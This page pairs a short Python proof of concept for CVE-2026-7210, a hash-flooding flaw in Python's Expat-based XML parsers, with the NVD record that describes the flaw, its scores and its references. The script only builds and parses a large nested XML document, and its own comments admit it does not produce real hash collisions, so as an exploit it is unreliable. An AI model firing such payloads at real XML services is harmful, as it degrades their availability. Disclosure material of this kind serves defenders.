CVE-2026-7210

import xml.etree.ElementTree as ET import sys # Simulate a crafted XML payload designed to trigger hash collisions # Note: Actual collision generation depends on predicting the weak salt. # This PoC demonstrates the parsing of a complex structure. def generate_malicious_xml(depth, breadth): """ Generates a deeply nested and broad XML structure. In a real exploit, attribute names would be specifically chosen to collide based on the insufficient entropy. """ root = ET.Element("root") current_level = root # Create a wide structure to stress the hash table for i in range(breadth): # Using attribute names that might be candidates for collision attr_name = f"attrib_{i}" current_level.set(attr_name, "value" * 10) # Create depth for i in range(depth): child = ET.SubElement(current_level, f"level_{i}") for j in range(breadth): child.set(f"attr_{j}", "val") current_level = child return ET.tostring(root, encoding='unicode') if __name__ == "__main__": # Adjust these numbers to increase CPU load payload = generate_malicious_xml(depth=100, breadth=500) try: print("Starting parsing of crafted XML...") # Parsing this payload on a vulnerable system may cause high CPU usage ET.fromstring(payload) print("Parsing completed.") except Exception as e: print(f"Error during parsing: {e}")

{"cve": {"id": "CVE-2026-7210", "sourceIdentifier": "[email protected]", "published": "2026-05-11T18:16:42.413", "lastModified": "2026-05-16T03:05:17.233", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "`xml.parsers.expat` and `xml.etree.ElementTree` use insufficient entropy for Expat hash-flooding protection, which allows a crafted XML document to trigger hash flooding.\\r\\n\\r\\nFully mitigating this vulnerability requires both updating libexpat to 2.8.0 or later and applying this patch."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-331"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:libexpat_project:libexpat:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.8.0", "matchCriteriaId": "481331D3-1E4B-491D-8C4F-E0C800B0A00F"}]}]}], "references": [{"url": "https://github.com/python/cpython/issues/149018", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/python/cpython/pull/149023", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://mail.python.org/archives/list/[email protected]/thread/PNY5OMBDPM2FRUZTWFFPJ6LISWKV627K/", "source": "[email protected]", "tags": ["Mailing List", "Third Party Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/11/13", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/11/8", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}